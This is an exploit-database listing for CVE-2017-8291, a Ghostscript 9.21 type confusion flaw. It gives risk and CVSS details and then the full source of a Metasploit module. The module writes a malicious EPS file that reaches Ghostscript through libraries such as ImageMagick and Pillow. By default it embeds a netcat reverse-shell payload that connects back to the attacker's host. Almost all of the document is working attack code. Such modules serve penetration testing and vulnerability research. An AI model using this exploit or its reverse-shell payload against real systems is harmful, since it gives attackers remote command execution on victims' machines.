Ghostscript 9.21 Type Confusion Arbitrary Command Execution

2017.05.02
Credit: hdm
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution', 'Description' => %q{ This module exploits a type confusion vulnerability in Ghostscript that can be exploited to obtain arbitrary command execution. This vulnerability affects Ghostscript version 9.21 and earlier and can be exploited through libraries such as ImageMagick and Pillow. }, 'Author' => [ 'Atlassian Security Team', # Vulnerability discovery 'hdm' # Metasploit module ], 'References' => [ %w{CVE 2017-8291}, %w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808}, %w{URL http://seclists.org/oss-sec/2017/q2/148}, %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d}, %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3} ], 'DisclosureDate' => 'Apr 27 2017', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and ) 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic netcat bash-tcp' } }, 'Targets' => [ ['EPS file', template: 'msf.eps'] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat', 'LHOST' => Rex::Socket.source_address, 'DisablePayloadHandler' => false, 'WfsDelay' => 9001 } )) register_options([ OptString.new('FILENAME', [true, 'Output file', 'msf.eps']) ]) end # Example usage from the bug tracker: # $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps def exploit file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded)) end def template ::File.read(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-8291', target[:template] )) end end


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